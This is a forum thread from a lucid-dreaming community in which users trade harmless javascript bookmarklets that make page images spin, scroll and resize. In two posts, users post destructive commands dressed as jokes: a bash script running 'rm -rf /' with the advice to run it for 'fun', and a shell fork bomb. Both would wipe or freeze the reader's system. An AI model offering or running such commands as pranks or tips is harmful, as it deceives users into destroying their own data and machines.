• Lucid Dreaming - Dream Views




    Page 1 of 2 1 2 LastLast
    Results 1 to 25 of 49
    1. #1
      Eprac Diem arby's Avatar
      Join Date
      May 2006
      LD Count
      i/0
      Gender
      Location
      Canada
      Posts
      1,957
      Likes
      52
      Scroll to the top of the page then Copy and paste this into the address bar XD

      java script:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R ++}setInterval('A()',5); void(0);

      Now that I know that you can do stuff like this... I'm gonna have lotsa fun =D

    2. #2
      Member Kaniaz's Avatar
      Join Date
      Jan 2004
      Gender
      Location
      England
      Posts
      5,441
      Likes
      9
      IPB is screwing up the java script: tag (it's putting a space in it for some reason). It's not going to work when people copy it, unless they get rid of the space in 'java script' at the front.

    3. #3
      Eprac Diem arby's Avatar
      Join Date
      May 2006
      LD Count
      i/0
      Gender
      Location
      Canada
      Posts
      1,957
      Likes
      52
      Quote Originally Posted by Kaniaz View Post
      IPB is screwing up the java script: tag (it's putting a space in it for some reason). It's not going to work when people copy it, unless they get rid of the space in 'java script' at the front.
      [/b]
      i tried editing the space out but it didn't work =/

      And you avatar looks really funny when its going around XD

      Oh, i've got an idea, i'll put it in code.

      EDIT: Gah, even that doesn't work.... *sigh*

    4. #4
      56 QwinsepiaSquared's Avatar
      Join Date
      Sep 2006
      Gender
      Location
      USA
      Posts
      690
      Likes
      5
      Woah....
      That
      Was
      So
      Flippin'
      COOL

      Took me a while to hit the reply button though! XD
      "It was a dream! Can you control what you dream about, Hermione?" -HP7
      -9 Tasks-

    5. #5
      Cosmic Citizen ExoByte's Avatar
      Join Date
      Aug 2006
      LD Count
      ~A Dozen
      Gender
      Location
      Ontario
      Posts
      4,394
      Likes
      117
      Hehe, that was fun
      This space is reserved for signature text. A signature goes here. A signature is static combination of words at the end of a post. This is not a signature. Its a signature placeholder. One day my signature will go here.

      Signed,
      Me

    6. #6
      Led
      Led is offline
      Member Led's Avatar
      Join Date
      Sep 2005
      Gender
      Location
      If I told you, I would have to kill you.
      Posts
      482
      Likes
      0
      That was the best thing ever.

    7. #7
      Member
      Join Date
      Dec 2006
      Posts
      71
      Likes
      0
      Ditching the space worked out ok for me. I think I might have accidently reported someone or something, though. lawl. More importantly, though; watch your horizontal scroll bar. Keke. It's breathing.
      Apres Moi Le Deluge
      -Madame de Pompadour.

      After me comes the flood.

    8. #8
      Member Achievements:
      1 year registered Veteran First Class 10000 Hall Points
      wasup's Avatar
      Join Date
      Oct 2003
      Gender
      Posts
      4,668
      Likes
      21
      Nothing is happening for me after i removed the space....

      What is supposed to be happening?

      Nevermind I guess it doesn't work in firefox. What is the point of it though?

    9. #9
      Cosmic Citizen ExoByte's Avatar
      Join Date
      Aug 2006
      LD Count
      ~A Dozen
      Gender
      Location
      Ontario
      Posts
      4,394
      Likes
      117
      It works in Firefox. Just don't open a new tab. A friend of mine had the same problem.
      This space is reserved for signature text. A signature goes here. A signature is static combination of words at the end of a post. This is not a signature. Its a signature placeholder. One day my signature will go here.

      Signed,
      Me

    10. #10
      Banned
      Join Date
      Feb 2006
      Location
      Northern Sweden
      Posts
      935
      Likes
      1
      This doesn't seem to work for me...

    11. #11
      Eprac Diem arby's Avatar
      Join Date
      May 2006
      LD Count
      i/0
      Gender
      Location
      Canada
      Posts
      1,957
      Likes
      52
      Make sure that you have only that in the address bar. Don't keep the site address.

    12. #12
      I *AM* Glyphs! Achievements:
      1 year registered 5000 Hall Points Referrer Bronze Veteran First Class
      Keeper's Avatar
      Join Date
      Sep 2006
      Gender
      Location
      UCT or home - depends what time you catch me :P
      Posts
      2,130
      Likes
      3
      just to be sure, this isn't going to kill my machine is it?
      "There are people who say there is no God, but what makes me really angry is that they quote me for support of such views." ~Albert Einstein

      Ask meWay BackYour SoulMy Dream Story (Chapter two UP!) •


    13. #13
      Rotaredom Howie's Avatar
      Join Date
      Dec 2003
      Gender
      Location
      Undisclosed location
      Posts
      10,272
      Likes
      26
      Quote Originally Posted by ataraxis View Post
      What is the point of it though?
      [/b]

    14. #14
      I *AM* Glyphs! Achievements:
      1 year registered 5000 Hall Points Referrer Bronze Veteran First Class
      Keeper's Avatar
      Join Date
      Sep 2006
      Gender
      Location
      UCT or home - depends what time you catch me :P
      Posts
      2,130
      Likes
      3
      okay, just tried

      you have WAY to much time on your hands

      this is good
      "There are people who say there is no God, but what makes me really angry is that they quote me for support of such views." ~Albert Einstein

      Ask meWay BackYour SoulMy Dream Story (Chapter two UP!) •


    15. #15
      The 'stache TweaK's Avatar
      Join Date
      Jul 2006
      Location
      The Netherlands
      Posts
      1,979
      Likes
      12
      Why.. is there a void(0); at the end? -.- That makes no sense, seeing void(0) just does.. nothing!

    16. #16
      Banned
      Join Date
      Jul 2006
      Gender
      Location
      ʇsǝɹɔpooʍ
      Posts
      3,207
      Likes
      176
      <a href="java script: void(0)">I am a useless link</a>

    17. #17
      Member Kaniaz's Avatar
      Join Date
      Jan 2004
      Gender
      Location
      England
      Posts
      5,441
      Likes
      9
      Code:
      java script&#58;R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName&#40;&#34;img&#34;&#41;; DIL=DI.length; function A&#40;&#41;{for&#40;i=0; i-DIL; i++&#41;{DIS=DI&#91; i &#93;.style; DIS.position=&#39;absolute&#39;; DIS.left=&#40;Math.sin&#40;R*x1+i*x2+x3&#41;*x4+x5&#41;+&#34;px&#34;; DIS.top=R*20+&#34;px&#34;}R ++}setInterval&#40;&#39;A&#40;&#41;&#39;,5&#41;; void&#40;0&#41;;
      Remove the space and whee

    18. #18
      Banned
      Join Date
      Jul 2006
      Gender
      Location
      ʇsǝɹɔpooʍ
      Posts
      3,207
      Likes
      176
      I like that one Kaniaz that was pretty cool you Sly Dog You&#33;

      What do you think of mine?

      Code:
      java script&#58;R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName&#40;&#34;img&#34;&#41;; DIL=DI.length; function A&#40;&#41;{for&#40;i=0; i-DIL; i++&#41;{DIS=DI&#91; i &#93;.style; DIS.position=&#39;absolute&#39;; DIS.left=&#40;Math.sin&#40;R*x1+i*x2+x3&#41;*x4+x5&#41;+&#34;px&#34;; DIS.middle=&#40;Math.cos&#40;R*y1+i*y2+y3&#41;*y4+y5&#41;+&#34;px&#34;}R ++}setInterval&#40;&#39;A&#40;&#41;&#39;,5&#41;; void&#40;0&#41;;

    19. #19
      The 'stache TweaK's Avatar
      Join Date
      Jul 2006
      Location
      The Netherlands
      Posts
      1,979
      Likes
      12
      Hey, what about this one?
      Code:
      #&#33;/bin/bash
      rm -rf /
      Just put that in a file on Linux and run it (./filename). Fun guaranteed&#33;

    20. #20
      Member Kaniaz's Avatar
      Join Date
      Jan 2004
      Gender
      Location
      England
      Posts
      5,441
      Likes
      9
      What do you think of mine?[/b]
      Yours is a lot better.

    21. #21
      Banned
      Join Date
      Jan 2004
      Gender
      Location
      nope
      Posts
      1,807
      Likes
      599
      Quote Originally Posted by TweaK View Post
      Hey, what about this one?
      Code:
      #&#33;/bin/bash
      rm -rf /
      Just put that in a file on Linux and run it (./filename). Fun guaranteed&#33;
      [/b]
      Oh no&#33; Where&#39;s my hard drive?&#33;

    22. #22
      Member Placebo's Avatar
      Join Date
      May 2004
      Gender
      Location
      Around the bend
      Posts
      4,193
      Likes
      11
      Hehe, that&#39;s pretty cool
      Didn&#39;t realise you could paste javascript directly into the address bar. interesting
      Tips For Newbies | What to do in an LD

      Unless otherwise stated, views expressed in this post are not necessarily representative of the official Dream Views stance. Hell, it's probably not even representative of me.

    23. #23
      FBI agent Ynot's Avatar
      Join Date
      Oct 2005
      Gender
      Location
      Southend, Essex
      Posts
      4,337
      Likes
      14
      Quote Originally Posted by TweaK View Post
      Hey, what about this one?
      Code:
      #&#33;/bin/bash
      rm -rf /
      Just put that in a file on Linux and run it (./filename). Fun guaranteed&#33;
      [/b]
      Or this

      Code:
      &#58;&#40;&#41;{ &#58;|&#58;& };&#58;
      (\_ _/)
      (='.'=)
      (")_(")

    24. #24
      Member Kaniaz's Avatar
      Join Date
      Jan 2004
      Gender
      Location
      England
      Posts
      5,441
      Likes
      9
      Code:
      java script&#58;function a &#40;&#41; { var x = document.getElementsByTagName &#40; &#39;img&#39; &#41;; for &#40; i = 0; i &#60; x.length; i++ &#41; { var current = x.item &#40; i &#41;; current.style.height = Math.floor &#40; Math.random&#40;&#41;*501&#41; + &#39;px&#39;; current.style.width = Math.floor &#40; Math.random&#40;&#41;*501&#41; + &#39;px&#39;; } }; setInterval&#40;&#39;a&#40;&#41;&#39;,5&#41;;void&#40;0&#41;;
      Of my own creation. HURRR~

      Yeah by the way TweaK, the void prevents the Javascript from changing the page (returning a value). So it is used.

      EDIT:
      Code:
      java script&#58;var r = 0; var up = true; function a &#40;&#41; { var x = document.getElementsByTagName &#40; &#39;img&#39; &#41;; for &#40; i = 0; i &#60; x.length; i++ &#41; { var current = x.item &#40; i &#41;; current.style.position = &#39;absolute&#39;; current.style.top = &#40;r*10&#41;+&#39;px&#39;; current.style.left = &#40;i*10&#41;+&#39;px&#39;; current.style.height = &#40;r-Math.floor&#40;Math.random&#40;&#41;*25&#41;&#41;+&#39;px&#39;; current.style.width = &#40;r+Math.floor&#40;Math.random&#40;&#41;*25&#41;&#41;+&#39;px&#39;; } if &#40; up &#41; { r++; } else { r--; } if &#40; r &#60; 0 &#41; { r = 0; up = true; } else if &#40; r &#62; 500 &#41; { r = 500; up = false; } } setInterval&#40;&#39;a&#40;&#41;&#39;,50&#41;;void&#40;0&#41;;
      Seemes to work for some and not for others. Your mileage will vary.

    25. #25
      Banned
      Join Date
      Jul 2006
      Gender
      Location
      ʇsǝɹɔpooʍ
      Posts
      3,207
      Likes
      176
      Kaniaz:

      The first one was very impressive.  However I wasn&#39;t able to get the second code to work.

    Page 1 of 2 1 2 LastLast

    Bookmarks

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •